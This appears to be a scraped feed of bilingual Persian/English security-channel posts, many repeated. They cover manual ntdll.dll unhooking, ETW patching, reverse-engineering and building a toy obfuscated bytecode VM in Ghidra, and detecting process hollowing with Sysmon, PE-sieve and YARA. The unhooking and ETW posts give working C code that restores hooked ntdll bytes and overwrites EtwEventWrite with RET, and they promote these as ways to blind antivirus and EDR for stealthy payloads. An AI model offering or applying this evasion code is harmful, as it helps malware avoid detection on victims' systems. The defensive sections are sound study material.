🚨 هشدار:
بعضی AVها ممکنه مانیتور کنن که تو ntdll.dll تغییر ایجاد شده یا نه
→ راهحل: استفاده از RWX memory جدا و اجرای syscall از اونجا
اگر با Direct Syscall ترکیب شه، تقریبا غیرقابل تشخیصه
برای اجرای کامل بدون detect، حتما amsi.dll و etw رو هم patch کن (پست جدا داره)
💣 چرا این تکنیک مهمه؟
ویژگی دلیل اهمیت
بایپس کامل چون AV/EDR رو کور میکنی قبل از اینکه بفهمه چی شده 😁
ضروری برای بایپس Defender بدون این، حتی Reflective injection هم detect میشه
پایه حملههای RedTeam تقریباً تمام payloadهای stealth واقعی از این استفاده میکنن
🧬 ntdll.dll – "When You Wanna Kill Silently!" 🔕
🎯 Main Goal:
Almost all AVs/EDRs — especially EDRs — hook sensitive functions in ntdll.dll like:
NtCreateThreadEx
NtWriteVirtualMemory
NtProtectVirtualMemory
…and many more
These inline hooks cause system calls (even direct syscalls!) to get logged or detected.
👉 The Solution?
Load a clean, unhooked copy of ntdll.dll into your own memory space.
This technique is called manual unhooking.
🧠 Technical Concept:
1 EDRs usually inline hook functions → by modifying the first bytes of system calls
2 We load a clean copy of ntdll.dll from disk or from memory
3 We overwrite the hooked function bytes in memory with the clean ones
4 Now we can make real syscalls without any monitoring 👻
🔥 Implementation Methods:
✅ Method 1: Load Clean ntdll.dll from Disk
Use CreateFile, ReadFile — or even NtOpenFile, NtReadFile
Parse the PE structure manually
Locate the .text section and compare bytes
Restore the original bytes into the current ntdll.dll in your process
✅ Method 2: Use GetMappedFileName + ZwQueryVirtualMemory
Recover the clean, already-mapped system copy of ntdll.dll
→ Useful when avoiding disk I/O
✅ Method 3: Use Existing Tools
Tool Denoscription
Halo’s Gate Bypasses hooks via syscall offset guessing
unhook-nativedll Full unhooking with precise PE parsing
TitanLdr Advanced PE loader with built-in ntdll unhooking
💻 Code Snippet (C)
(Example: Compare & Clean .text section in ntdll.dll)
PVOID currentNtdll = GetModuleHandleA("ntdll.dll");
❤1👎1🔥1👏1
// Load clean ntdll from disk
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll", ...);
HANDLE hMapping = CreateFileMapping(hFile, ..., PAGE_READONLY, ...);
LPVOID cleanNtdll = MapViewOfFile(hMapping, FILE_MAP_READ, ...);
// Compare and restore bytes
PIMAGE_SECTION_HEADER textSection = FindTextSection(currentNtdll);
for (...) {
if (memcmp(currentPtr, cleanPtr, size) != 0)
memcpy(currentPtr, cleanPtr, size); // Restore original bytes
}
🚨 Warning:
Some AVs/EDRs monitor modifications in ntdll.dll memory
→ Solution: Use separate RWX memory and execute syscalls from there.
Combine it with Direct Syscall for near-undetectability 🔥
🧨 Don’t Forget:
To stay fully stealth, also patch amsi.dll and ETW
(Separate post coming for that)
💣 Why Is This Technique Critical?
Feature Why It Matters
Full AV/EDR Bypass You blind them before they even realize 😁
Essential for Defender Evasion Even reflective injection gets caught without it
Core to Red Teaming Almost all real stealth payloads use this as base
🔥2👍1
🔍 مرحله ۶ – تحلیل ماشین مجازی (VM) در Ghidra: شناسایی و درک منطق مخفیشده
🎯 هدف:
یاد بگیریم چطور ماشین مجازی ای که ساخته شده توی Ghidra یا هر دیساسمبلر دیگهای دیده میشه و چطور میتونیم منطق پشت اون رو درک کنیم
🔬 سناریو
فرض کن تو بهعنوان مهندس معکوس با یک باینری روبهرو شدی که فقط یک تابع داره و کلی حرکت عجیب داخلشه.
برنامه اجرا میشه و عدد 30 رو چاپ میکنه ولی توی تحلیل:
خبری از دستور add نیست
هیچکدوم از اسمهای متغیرها یا اعداد رو نمیبینی
تابع اصلی فقط با آرایهای از بایتها کار میکنه
🧰 چه چیزی در Ghidra میبینی؟
فرض کنیم فایل اجرایی همون باینری VM ماست (کامپایلشده). وقتی در Ghidra بازش کنی:
🧠 مشاهده اول:
توابع عادی خیلی کوتاه هستن. مثل:
یا
call 0x00400600
🧠 مشاهده دوم:
یه بخش از کد که پشت سر هم مقادیر از یک آرایه میخونه و چیزی رو اجرا میکنه مشابه:
در Ghidra به شکل دیتای ناشناخته دیده میشه (مگر اینکه خودت struct یا array تعریف کنی)
📌 چی باید دنبال کنی؟
✅ ۱ پیدا کردن بخش bytecode
بگرد دنبال آرایهای از مقادیر عجیب مثل:
معمولا قبل از اجرای VM در حافظه کپی میشه.
✅ ۲ پیدا کردن dispatch loop
بخشی از کد که یه حلقهی while مانند داره، و هر بار یه opcode جدید اجرا میکنه.
معمولا شکلی شبیه این داره:
یا با جدول پرش (jump table)
✅ ۳ تحلیل عملیاتها
هر بخش از dispatch loop مسئول اجرای یک دستور از زبان مجازی ماست:
یک بخش مربوط به PUSH
یک بخش مربوط به ADD
و یکی مربوط به PRINT
در نهایت متوجه میشی کد اصلی که باید تحلیل کنی داخل این تفسیرگر (interpreter) مخفی شده.
> «باینری اجرا میشه و میگه Result: 30
ولی داخلش نه عدد 10 هست، نه 20، نه جمع!
فقط یه حلقه عجیب و غریب داره که از یه آرایه ناشناس دستور میگیره و اجرا میکنه
🔍 Step 6 – Analyzing the Virtual Machine (VM) in Ghidra: Understanding the Hidden Logic
🎯 Goal:
Learn how a custom virtual machine appears in Ghidra (or any disassembler), and how to uncover the logic hidden inside it.
🔬 Scenario:
Imagine you're reverse-engineering a binary with just one main function, and it behaves strangely.
It prints 30 when executed, but when analyzed:
There's no add instruction anywhere
No clear constants or variable names
The main function just works with some weird byte array
🧰 What Do You See in Ghidra?
Let’s say the executable is our compiled VM binary.
🧠 Observation 1:
Most functions are very short, e.g.:
Or:
call 0x00400600
🧠 Observation 2:
There’s a code section reading from an array of bytes and executing something:
In Ghidra, this looks like undefined data unless you manually define it as an array or structure.
📌 What Should You Look For?
✅ 1 Finding the Bytecode Section
Look for an array of unusual byte values like:
01 0A 01 14 02 03
This is often copied into memory right before the VM starts running.
✅ 2 Identifying the Dispatch Loop
Find a loop that resembles a while structure, fetching and executing opcodes.
Usually looks like this:
Or it might use a jump table or a big switch-like chain.
✅ 3 Analyzing the Operations
Each part of the dispatch loop handles a specific virtual instruction from our custom language:
One block handles PUSH
Another handles ADD
And another one handles PRINT
Eventually, you realize that the real logic is not written in assembly directly — it’s hidden inside the interpreter.
> The binary runs and prints:
Result: 30
But you can't find the number 10 or 20 anywhere...
No actual add instruction...
Just a weird loop taking instructions from a mysterious array
🎯 هدف:
یاد بگیریم چطور ماشین مجازی ای که ساخته شده توی Ghidra یا هر دیساسمبلر دیگهای دیده میشه و چطور میتونیم منطق پشت اون رو درک کنیم
🔬 سناریو
فرض کن تو بهعنوان مهندس معکوس با یک باینری روبهرو شدی که فقط یک تابع داره و کلی حرکت عجیب داخلشه.
برنامه اجرا میشه و عدد 30 رو چاپ میکنه ولی توی تحلیل:
خبری از دستور add نیست
هیچکدوم از اسمهای متغیرها یا اعداد رو نمیبینی
تابع اصلی فقط با آرایهای از بایتها کار میکنه
🧰 چه چیزی در Ghidra میبینی؟
فرض کنیم فایل اجرایی همون باینری VM ماست (کامپایلشده). وقتی در Ghidra بازش کنی:
🧠 مشاهده اول:
توابع عادی خیلی کوتاه هستن. مثل:
movzx eax, byte ptr [rbp - 0x1]
cmp eax, 0x01
je loc_400600
یا
call 0x00400600
🧠 مشاهده دوم:
یه بخش از کد که پشت سر هم مقادیر از یک آرایه میخونه و چیزی رو اجرا میکنه مشابه:
unsigned char bytecode[] = { 0x01, 0x0A, 0x01, 0x14, 0x02, 0x03 };
در Ghidra به شکل دیتای ناشناخته دیده میشه (مگر اینکه خودت struct یا array تعریف کنی)
📌 چی باید دنبال کنی؟
✅ ۱ پیدا کردن بخش bytecode
بگرد دنبال آرایهای از مقادیر عجیب مثل:
01 0A 01 14 02 03
معمولا قبل از اجرای VM در حافظه کپی میشه.
✅ ۲ پیدا کردن dispatch loop
بخشی از کد که یه حلقهی while مانند داره، و هر بار یه opcode جدید اجرا میکنه.
معمولا شکلی شبیه این داره:
movzx eax, byte ptr [rcx]
cmp eax, 0x1
je loc_400601
cmp eax, 0x2
je loc_40062A
cmp eax, 0x3
je loc_40063B
یا با جدول پرش (jump table)
✅ ۳ تحلیل عملیاتها
هر بخش از dispatch loop مسئول اجرای یک دستور از زبان مجازی ماست:
یک بخش مربوط به PUSH
یک بخش مربوط به ADD
و یکی مربوط به PRINT
در نهایت متوجه میشی کد اصلی که باید تحلیل کنی داخل این تفسیرگر (interpreter) مخفی شده.
> «باینری اجرا میشه و میگه Result: 30
ولی داخلش نه عدد 10 هست، نه 20، نه جمع!
فقط یه حلقه عجیب و غریب داره که از یه آرایه ناشناس دستور میگیره و اجرا میکنه
🔍 Step 6 – Analyzing the Virtual Machine (VM) in Ghidra: Understanding the Hidden Logic
🎯 Goal:
Learn how a custom virtual machine appears in Ghidra (or any disassembler), and how to uncover the logic hidden inside it.
🔬 Scenario:
Imagine you're reverse-engineering a binary with just one main function, and it behaves strangely.
It prints 30 when executed, but when analyzed:
There's no add instruction anywhere
No clear constants or variable names
The main function just works with some weird byte array
🧰 What Do You See in Ghidra?
Let’s say the executable is our compiled VM binary.
🧠 Observation 1:
Most functions are very short, e.g.:
movzx eax, byte ptr [rbp - 0x1]
cmp eax, 0x01
je loc_400600
Or:
call 0x00400600
🧠 Observation 2:
There’s a code section reading from an array of bytes and executing something:
unsigned char bytecode[] = { 0x01, 0x0A, 0x01, 0x14, 0x02, 0x03 };
In Ghidra, this looks like undefined data unless you manually define it as an array or structure.
📌 What Should You Look For?
✅ 1 Finding the Bytecode Section
Look for an array of unusual byte values like:
01 0A 01 14 02 03
This is often copied into memory right before the VM starts running.
✅ 2 Identifying the Dispatch Loop
Find a loop that resembles a while structure, fetching and executing opcodes.
Usually looks like this:
movzx eax, byte ptr [rcx]
cmp eax, 0x1
je loc_400601
cmp eax, 0x2
je loc_40062A
cmp eax, 0x3
je loc_40063B
Or it might use a jump table or a big switch-like chain.
✅ 3 Analyzing the Operations
Each part of the dispatch loop handles a specific virtual instruction from our custom language:
One block handles PUSH
Another handles ADD
And another one handles PRINT
Eventually, you realize that the real logic is not written in assembly directly — it’s hidden inside the interpreter.
> The binary runs and prints:
Result: 30
But you can't find the number 10 or 20 anywhere...
No actual add instruction...
Just a weird loop taking instructions from a mysterious array
❤3
👻 تقلب نکن آقای بدافزار – دفاع در برابر Process Hollowing
📎 عنوان پیشنهادی برای پست: "وقتی نذاری بدافزار ماسک بزنه! شکار Process Hollowing در لحظه"
💀 حالا فرض کن تو سمت دفاع هستی
مسئول امنیت یه سیستم یا یه سازمانی که یه پروسس قلابی داره توش shellcode اجرا میکنه
چی کار باید بکنی؟
تو این پست ابزارهای Blue Team و تکنیکهای دفاعی ضد Hollowing رو بررسی میکنیم
🔐 ۱ Sysmon + Windows Event Forwarding
با Sysmon میتونی لحظهای که یه پردازش ساخته میشه یا از حافظه RWX استفاده میکنه رو لاگ بگیری
📌 کانفیگ آماده SwiftOnSecurity:
🧠 دنبال Signatureهای مشکوک باش مثل:
VirtualAllocEx با PAGE_EXECUTE_READWRITE
WriteProcessMemory
CreateRemoteThread یا ResumeThread
🛡️ ۲ EDRها و Defender پیشرفته
اگه از EDRهای حرفهای مثل:
CrowdStrike Falcon
SentinelOne
Microsoft Defender for Endpoint
استفاده کنی خودشون رفتار Hollowing رو بهصورت Heuristic شناسایی میکنن.
ولی یادت نره: اگه مهاجم با تکنیکهای بایپس بیاد (مثلاً APC injection یا unhook)، همینا هم رد میشن
🧪 ۳ شناسایی حافظه مشکوک با ابزارهای Memory Forensics
ابزارهایی مثل:
PE-sieve
HollowsHunter
Volatility / Rekall
میتونن بهصورت Runtime حافظههایی که کد PE جدید بهشون Inject شده رو شناسایی کنن.
📏 ۴ شکار Yara Style
یه قانون ساده YARA واسه تشخیص RWX Memory:
یا میتونی یارا بنویسی که PE Header رو بررسی کنه و تفاوت اون با حافظه جاری رو بفهمه
🛠️ جمعبندی:
✅ دفاع در برابر Hollowing فقط با آنتیویروس نیست
🧠 باید لاگ حافظه، رفتار، و حتی ساختار باینری رو زیر نظر بگیری
---
👻 No More Tricks, Mr. Malware – Defending Against Process Hollowing
📎 Suggested Title: "When You Don’t Let Malware Wear a Mask: Real-time Detection of Process Hollowing"
💀 Imagine You're on the Defense Side
You're responsible for securing a system or enterprise environment...
Suddenly, there's a suspicious process running — looks like a legit notepad.exe, but it’s actually executing malicious shellcode.
How do you catch it?
This post dives into blue team tools and defensive techniques to detect and prevent process hollowing in real time
🔐 1 Sysmon + Windows Event Forwarding
Sysmon allows real-time logging of process creation and suspicious memory behaviors like RWX allocations.
📌 Sample config (from SwiftOnSecurity):
🧠 Look for suspicious patterns:
VirtualAllocEx with PAGE_EXECUTE_READWRITE
WriteProcessMemory
CreateRemoteThread or ResumeThread
🛡️ 2 Advanced EDR & Defender Solutions
Tools like:
CrowdStrike Falcon
SentinelOne
Microsoft Defender for Endpoint
...can heuristically detect process hollowing behavior based on memory and thread activity.
⚠️ But beware:
If the attacker uses advanced bypasses (e.g., APC injection, manual unhooking), even top-tier EDRs might miss it.
🧪 3 Memory Forensics & Runtime Scanners
Tools like:
PE-sieve
HollowsHunter
Volatility / Rekall
...can analyze memory in real time and detect injected PE files, unmapped PE headers, or manipulated sections.
These tools are invaluable for deep detection after compromise or for threat hunting
📏 4 YARA-based Memory Scanning
Example rule to detect RWX memory regions containing shellcode-like patterns:
📎 عنوان پیشنهادی برای پست: "وقتی نذاری بدافزار ماسک بزنه! شکار Process Hollowing در لحظه"
💀 حالا فرض کن تو سمت دفاع هستی
مسئول امنیت یه سیستم یا یه سازمانی که یه پروسس قلابی داره توش shellcode اجرا میکنه
چی کار باید بکنی؟
تو این پست ابزارهای Blue Team و تکنیکهای دفاعی ضد Hollowing رو بررسی میکنیم
🔐 ۱ Sysmon + Windows Event Forwarding
با Sysmon میتونی لحظهای که یه پردازش ساخته میشه یا از حافظه RWX استفاده میکنه رو لاگ بگیری
📌 کانفیگ آماده SwiftOnSecurity:
<Sysmon schemaversion="4.50">
<EventFiltering>
<ProcessCreate onmatch="include">
<CommandLine condition="contains">notepad.exe</CommandLine>
</ProcessCreate>
<ImageLoaded onmatch="include">
<Image condition="contains">.exe</Image>
</ImageLoaded>
</EventFiltering>
</Sysmon>
🧠 دنبال Signatureهای مشکوک باش مثل:
VirtualAllocEx با PAGE_EXECUTE_READWRITE
WriteProcessMemory
CreateRemoteThread یا ResumeThread
🛡️ ۲ EDRها و Defender پیشرفته
اگه از EDRهای حرفهای مثل:
CrowdStrike Falcon
SentinelOne
Microsoft Defender for Endpoint
استفاده کنی خودشون رفتار Hollowing رو بهصورت Heuristic شناسایی میکنن.
ولی یادت نره: اگه مهاجم با تکنیکهای بایپس بیاد (مثلاً APC injection یا unhook)، همینا هم رد میشن
🧪 ۳ شناسایی حافظه مشکوک با ابزارهای Memory Forensics
ابزارهایی مثل:
PE-sieve
HollowsHunter
Volatility / Rekall
میتونن بهصورت Runtime حافظههایی که کد PE جدید بهشون Inject شده رو شناسایی کنن.
📏 ۴ شکار Yara Style
یه قانون ساده YARA واسه تشخیص RWX Memory:
rule suspicious_memory_allocation {
meta:
denoscription = "Detects memory regions with RWX permissions"
condition:
uint8(0) == 0x90 and
for any i in (1..filesize) : (
uint8(i) == 0xC3
)
}
یا میتونی یارا بنویسی که PE Header رو بررسی کنه و تفاوت اون با حافظه جاری رو بفهمه
🛠️ جمعبندی:
✅ دفاع در برابر Hollowing فقط با آنتیویروس نیست
🧠 باید لاگ حافظه، رفتار، و حتی ساختار باینری رو زیر نظر بگیری
---
👻 No More Tricks, Mr. Malware – Defending Against Process Hollowing
📎 Suggested Title: "When You Don’t Let Malware Wear a Mask: Real-time Detection of Process Hollowing"
💀 Imagine You're on the Defense Side
You're responsible for securing a system or enterprise environment...
Suddenly, there's a suspicious process running — looks like a legit notepad.exe, but it’s actually executing malicious shellcode.
How do you catch it?
This post dives into blue team tools and defensive techniques to detect and prevent process hollowing in real time
🔐 1 Sysmon + Windows Event Forwarding
Sysmon allows real-time logging of process creation and suspicious memory behaviors like RWX allocations.
📌 Sample config (from SwiftOnSecurity):
<Sysmon schemaversion="4.50">
<EventFiltering>
<ProcessCreate onmatch="include">
<CommandLine condition="contains">notepad.exe</CommandLine>
</ProcessCreate>
<ImageLoaded onmatch="include">
<Image condition="contains">.exe</Image>
</ImageLoaded>
</EventFiltering>
</Sysmon>
🧠 Look for suspicious patterns:
VirtualAllocEx with PAGE_EXECUTE_READWRITE
WriteProcessMemory
CreateRemoteThread or ResumeThread
🛡️ 2 Advanced EDR & Defender Solutions
Tools like:
CrowdStrike Falcon
SentinelOne
Microsoft Defender for Endpoint
...can heuristically detect process hollowing behavior based on memory and thread activity.
⚠️ But beware:
If the attacker uses advanced bypasses (e.g., APC injection, manual unhooking), even top-tier EDRs might miss it.
🧪 3 Memory Forensics & Runtime Scanners
Tools like:
PE-sieve
HollowsHunter
Volatility / Rekall
...can analyze memory in real time and detect injected PE files, unmapped PE headers, or manipulated sections.
These tools are invaluable for deep detection after compromise or for threat hunting
📏 4 YARA-based Memory Scanning
Example rule to detect RWX memory regions containing shellcode-like patterns:
rule suspicious_memory_allocation {
meta:
denoscription = "Detects memory regions with RWX permissions"
condition:
uint8(0) == 0x90 and
for any i in (1..filesize) : (
uint8(i) == 0xC3
)
}
You can also write YARA rules that compare loaded PE headers vs. on-disk versions, spotting tampering or hollowing.
-
🛠️ Final Thoughts:
✅ Defending against process hollowing isn't just about having antivirus.
🧠 You need a layered approach:
Behavioral monitoring (Sysmon, EDR)
Memory analysis (Volatility, PE-sieve)
Structural inspection (YARA, custom signatures)
❤1
🔕 (خاموش کردن Event Tracing for Windows)
«وقتی میخوای دزد شی اول دوربین رو قطع کن!» 📹🚫
🎯 قضیه چیه؟
ETW یا Event Tracing for Windows یه مکانیزم Core در ویندوزه که تقریباً همهچی رو لاگ میکنه:
اجرای پروسهها
بارگذاری DLLها
API callهای حساس
فعالیتهای مشکوک و…
تقریباً همه AVها و EDRها (مثل Defender, CrowdStrike, SentinelOne) از ETW Providers برای لاگبرداری استفاده میکنن.
🔐 راهحل چیه؟
ما میتونیم توابع مربوط به ETW رو Patch یا Nuke کنیم. یعنی:
تابع هدف در ntdll.dll
EtwEventWrite
EtwEventWriteFull
EtwEventRegister
EtwNotificationRegister
→ با NOP کردن یا بازنویسی به ret کاری میکنیم که هیچ event لاگ نشه! 😎
🔧 روش ساده (Patch تابع با RET):
✅ روش C/C++ (با Patch مستقیم):
> این کار باعث میشه هر چی EDR بخواد log کنه به جایی نفرسته 😁
📦 ابزارهای آماده برای ETW Bypass:
ابزار توضیح
sRDI + Patch ترکیب Reflective Injection با ETW Patch
BOF برای استفاده داخل Cobalt Strike
Kraken Direct Syscall + ETW Patch بهصورت stealth
PatchETW ابزار اختصاصی برای ETW Patch کامل
😈 حالت پیشرفتهتر:
✅ اگه بخوای stealth بیشتری داشته باشی:
با direct syscall → حافظه رو RW کن
hook check انجام بده که مطمئن شی توسط EDR hooked نشده
از ابزار unhook-nativedll + ETW patch استفاده کن برای ترکیب کامل
⚠️ خطرات احتمالی:
بعضی EDRها متوجه میشن که تابع ETW تغییر کرده
→ پس حتما بعد از unhooking ntdll انجامش بده
بعضیها حتی integrity check دارن! راهحل؟ syscall خالص بدون patch
💣 نکته حیاتی:
ETW بدون patch نشه حتی اگه AMSI رو هم بایپس کرده باشی
ممکنه موقع اجرای شلکد یا بدافزار، از طریق Sysmon + Defender + Log fusion detect شی
🔕 Turning Off Event Tracing for Windows (ETW)
📹🚫 “If you're planning a heist, disable the security cameras first!”
🎯 What's the Deal?
ETW (Event Tracing for Windows) is a core telemetry mechanism in Windows that logs nearly everything:
Process creation
DLL loading
Sensitive API calls
Suspicious behavior patterns
💡 Almost every modern AV/EDR (Defender, CrowdStrike, SentinelOne, etc.) leverages ETW Providers for telemetry and detection.
🔐 The Red Team Trick?
Patch or Nuke ETW-related functions in memory, especially in ntdll.dll.
🧠 Key targets:
EtwEventWrite
EtwEventWriteFull
EtwEventRegister
EtwNotificationRegister
👉 You patch them by NOPing or overwriting with a RET, so they return immediately without logging anything.
🔧 Simple Patching Example (C/C++)
Patch EtwEventWrite to silently disable telemetry:
💥 Result? No ETW logs. EDRs try to trace events… but there's nothing there 😎
📦 Ready-Made Tools for ETW Bypass
Tool Denoscription
sRDI + Patch Combine Reflective DLL Injection with ETW patching
BOF Beacon Object File for use in Cobalt Strike
Kraken Direct syscalls + stealthy ETW patching
PatchETW Tool dedicated to complete ETW function patching
😈 Advanced Stealth Tips
Want to be more sneaky?
✅ Use Direct Syscalls to:
Mark memory RW
Avoid API hooks
Patch ETW silently
✅ Combine with:
unhook-nativedll (restore clean ntdll)
ETW patch (after unhook to avoid AV detection)
⚠️ Potential Risks
Some EDRs validate ETW function integrity – they detect the patch!
→ Fix: Perform manual unhooking first, then patch
Some use code integrity checks
→ Solution: Use pure syscalls (no patching needed)
💣 Final Note:
Even if you bypass AMSI, ETW might still catch you.
Sysmon, Defender, and EDRs correlate telemetry with Log Fusion.
🧠 ETW must be patched or evaded for real stealthy payload execution
«وقتی میخوای دزد شی اول دوربین رو قطع کن!» 📹🚫
🎯 قضیه چیه؟
ETW یا Event Tracing for Windows یه مکانیزم Core در ویندوزه که تقریباً همهچی رو لاگ میکنه:
اجرای پروسهها
بارگذاری DLLها
API callهای حساس
فعالیتهای مشکوک و…
تقریباً همه AVها و EDRها (مثل Defender, CrowdStrike, SentinelOne) از ETW Providers برای لاگبرداری استفاده میکنن.
🔐 راهحل چیه؟
ما میتونیم توابع مربوط به ETW رو Patch یا Nuke کنیم. یعنی:
تابع هدف در ntdll.dll
EtwEventWrite
EtwEventWriteFull
EtwEventRegister
EtwNotificationRegister
→ با NOP کردن یا بازنویسی به ret کاری میکنیم که هیچ event لاگ نشه! 😎
🔧 روش ساده (Patch تابع با RET):
✅ روش C/C++ (با Patch مستقیم):
// آدرس تابع EtwEventWrite رو بگیر
void* etwAddr = GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite");
// تغییر حافظه به writable
DWORD oldProtect;
VirtualProtect(etwAddr, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
// جایگزین کن با opcode مربوط به RET
*(BYTE*)etwAddr = 0xC3;
// برگرد به حالت اولیه
VirtualProtect(etwAddr, 1, oldProtect, &oldProtect);
> این کار باعث میشه هر چی EDR بخواد log کنه به جایی نفرسته 😁
📦 ابزارهای آماده برای ETW Bypass:
ابزار توضیح
sRDI + Patch ترکیب Reflective Injection با ETW Patch
BOF برای استفاده داخل Cobalt Strike
Kraken Direct Syscall + ETW Patch بهصورت stealth
PatchETW ابزار اختصاصی برای ETW Patch کامل
😈 حالت پیشرفتهتر:
✅ اگه بخوای stealth بیشتری داشته باشی:
با direct syscall → حافظه رو RW کن
hook check انجام بده که مطمئن شی توسط EDR hooked نشده
از ابزار unhook-nativedll + ETW patch استفاده کن برای ترکیب کامل
⚠️ خطرات احتمالی:
بعضی EDRها متوجه میشن که تابع ETW تغییر کرده
→ پس حتما بعد از unhooking ntdll انجامش بده
بعضیها حتی integrity check دارن! راهحل؟ syscall خالص بدون patch
💣 نکته حیاتی:
ETW بدون patch نشه حتی اگه AMSI رو هم بایپس کرده باشی
ممکنه موقع اجرای شلکد یا بدافزار، از طریق Sysmon + Defender + Log fusion detect شی
🔕 Turning Off Event Tracing for Windows (ETW)
📹🚫 “If you're planning a heist, disable the security cameras first!”
🎯 What's the Deal?
ETW (Event Tracing for Windows) is a core telemetry mechanism in Windows that logs nearly everything:
Process creation
DLL loading
Sensitive API calls
Suspicious behavior patterns
💡 Almost every modern AV/EDR (Defender, CrowdStrike, SentinelOne, etc.) leverages ETW Providers for telemetry and detection.
🔐 The Red Team Trick?
Patch or Nuke ETW-related functions in memory, especially in ntdll.dll.
🧠 Key targets:
EtwEventWrite
EtwEventWriteFull
EtwEventRegister
EtwNotificationRegister
👉 You patch them by NOPing or overwriting with a RET, so they return immediately without logging anything.
🔧 Simple Patching Example (C/C++)
Patch EtwEventWrite to silently disable telemetry:
void* etwAddr = GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite");
DWORD oldProtect;
VirtualProtect(etwAddr, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
*(BYTE*)etwAddr = 0xC3; // 0xC3 == RET
VirtualProtect(etwAddr, 1, oldProtect, &oldProtect);
💥 Result? No ETW logs. EDRs try to trace events… but there's nothing there 😎
📦 Ready-Made Tools for ETW Bypass
Tool Denoscription
sRDI + Patch Combine Reflective DLL Injection with ETW patching
BOF Beacon Object File for use in Cobalt Strike
Kraken Direct syscalls + stealthy ETW patching
PatchETW Tool dedicated to complete ETW function patching
😈 Advanced Stealth Tips
Want to be more sneaky?
✅ Use Direct Syscalls to:
Mark memory RW
Avoid API hooks
Patch ETW silently
✅ Combine with:
unhook-nativedll (restore clean ntdll)
ETW patch (after unhook to avoid AV detection)
⚠️ Potential Risks
Some EDRs validate ETW function integrity – they detect the patch!
→ Fix: Perform manual unhooking first, then patch
Some use code integrity checks
→ Solution: Use pure syscalls (no patching needed)
💣 Final Note:
Even if you bypass AMSI, ETW might still catch you.
Sysmon, Defender, and EDRs correlate telemetry with Log Fusion.
🧠 ETW must be patched or evaded for real stealthy payload execution
❤3
🧠 ساخت یک VM پیچیدهتر با Obfuscation داخلی
🎯 هدف:
ساخت نسخه دوم ماشین مجازی که بهشدت تحلیل رو سختتر میکنه طوری که تحلیلگر مجبور شه زمان زیادی صرف درک منطق کنه
💡 ایدههایی برای پیادهسازی VM پیشرفتهتر:
1 اضافهکردن دستورات جعلی (Junk Instructions):
دستوراتی که کاری نمیکنن ولی باعث شلوغشدن bytecode میشن
2 رمزگذاری Bytecode:
bytecode رو رمز میکنیم و VM اول decrypt
ش میکنه بعد اجرا
3 Control Flow Obfuscation:
اضافهکردن پرشهای دروغین loopهای غیرواقعی و ترتیب اجرای غیرخطی.
4 ساخت Jump Table:
بهجای switch ساده، از table برای نگهداری pointer هر دستور استفاده میکنیم
🧪 مثال عملی – نسخه دوم VM با دستورات جعلی
📦 Bytecode جدید (با دستورات جعلی)
📚 دستورها:
کد دستور توضیح
🧠 پیادهسازی در C:
🎯 تحلیلگر چه چیزی میبینه؟
در Ghidra همه چیز پیچیدهتر بهنظر میرسه چون:
bytecode قابل درک نیست (باید reverse بشه)
مسیر اجرای کد به خاطر NOP ها پخش و گیجکنندهست
کنترل جریان واضح نیست
🧠 Building a More Advanced Virtual Machine with Internal Obfuscation
🎯 Goal:
Create a second version of the VM that’s significantly harder to analyze—one that forces the reverse engineer to spend considerable time understanding its logic.
💡 Ideas for Implementing a More Complex VM:
1 Junk Instructions:
Add fake opcodes that do nothing but bloat the bytecode and confuse analysis.
2 Bytecode Encryption:
Encrypt the bytecode and have the VM decrypt it before execution.
3 Control Flow Obfuscation:
Insert fake jumps, fake loops, and non-linear execution to break down static analysis tools.
4 Jump Table Instead of Switch:
Use a function pointer jump table rather than a simple switch-case for opcode handling.
🧪 Practical Example – Version 2 of the VM (With Fake Instructions)
📦 Sample Bytecode with Junk Instructions:
📚 Instruction Set:
Opcode Mnemonic Denoscription
🧠 C Implementation:
🎯 هدف:
ساخت نسخه دوم ماشین مجازی که بهشدت تحلیل رو سختتر میکنه طوری که تحلیلگر مجبور شه زمان زیادی صرف درک منطق کنه
💡 ایدههایی برای پیادهسازی VM پیشرفتهتر:
1 اضافهکردن دستورات جعلی (Junk Instructions):
دستوراتی که کاری نمیکنن ولی باعث شلوغشدن bytecode میشن
2 رمزگذاری Bytecode:
bytecode رو رمز میکنیم و VM اول decrypt
ش میکنه بعد اجرا
3 Control Flow Obfuscation:
اضافهکردن پرشهای دروغین loopهای غیرواقعی و ترتیب اجرای غیرخطی.
4 ساخت Jump Table:
بهجای switch ساده، از table برای نگهداری pointer هر دستور استفاده میکنیم
🧪 مثال عملی – نسخه دوم VM با دستورات جعلی
📦 Bytecode جدید (با دستورات جعلی)
FF ; NOP_FAKE_1
01 0A ; PUSH 10
AB ; NOP_FAKE_2
01 14 ; PUSH 20
FF ; NOP_FAKE_1
02 ; ADD
CD ; NOP_FAKE_3
03 ; PRINT
📚 دستورها:
کد دستور توضیح
01 PUSH_VAL مقدار روی استک بذار
02 ADD جمع دو عدد از استک
03 PRINT چاپ بالای استک
FF NOP_FAKE_1 هیچ کاری نمیکنه
AB NOP_FAKE_2 هیچ کاری نمیکنه
CD NOP_FAKE_3 هیچ کاری نمیکنه
🧠 پیادهسازی در C:
#define PUSH_VAL 0x01
#define ADD 0x02
#define PRINT 0x03
#define NOP1 0xFF
#define NOP2 0xAB
#define NOP3 0xCD
unsigned char bytecode[] = {
0xFF, // Fake NOP
0x01, 0x0A, // PUSH 10
0xAB, // Fake NOP
0x01, 0x14, // PUSH 20
0xFF, // Fake NOP
0x02, // ADD
0xCD, // Fake NOP
0x03 // PRINT
};
void run_vm() {
int pc = 0;
while (pc < sizeof(bytecode)) {
unsigned char op = bytecode[pc++];
switch (op) {
case PUSH_VAL:
push(bytecode[pc++]);
break;
case ADD:
push(pop() + pop());
break;
case PRINT:
printf("Result: %d\n", pop());
break;
case NOP1:
case NOP2:
case NOP3:
// Do nothing (fake instruction)
break;
default:
printf("Unknown opcode: %02X\n", op);
return;
}
}
}
🎯 تحلیلگر چه چیزی میبینه؟
در Ghidra همه چیز پیچیدهتر بهنظر میرسه چون:
bytecode قابل درک نیست (باید reverse بشه)
مسیر اجرای کد به خاطر NOP ها پخش و گیجکنندهست
کنترل جریان واضح نیست
🧠 Building a More Advanced Virtual Machine with Internal Obfuscation
🎯 Goal:
Create a second version of the VM that’s significantly harder to analyze—one that forces the reverse engineer to spend considerable time understanding its logic.
💡 Ideas for Implementing a More Complex VM:
1 Junk Instructions:
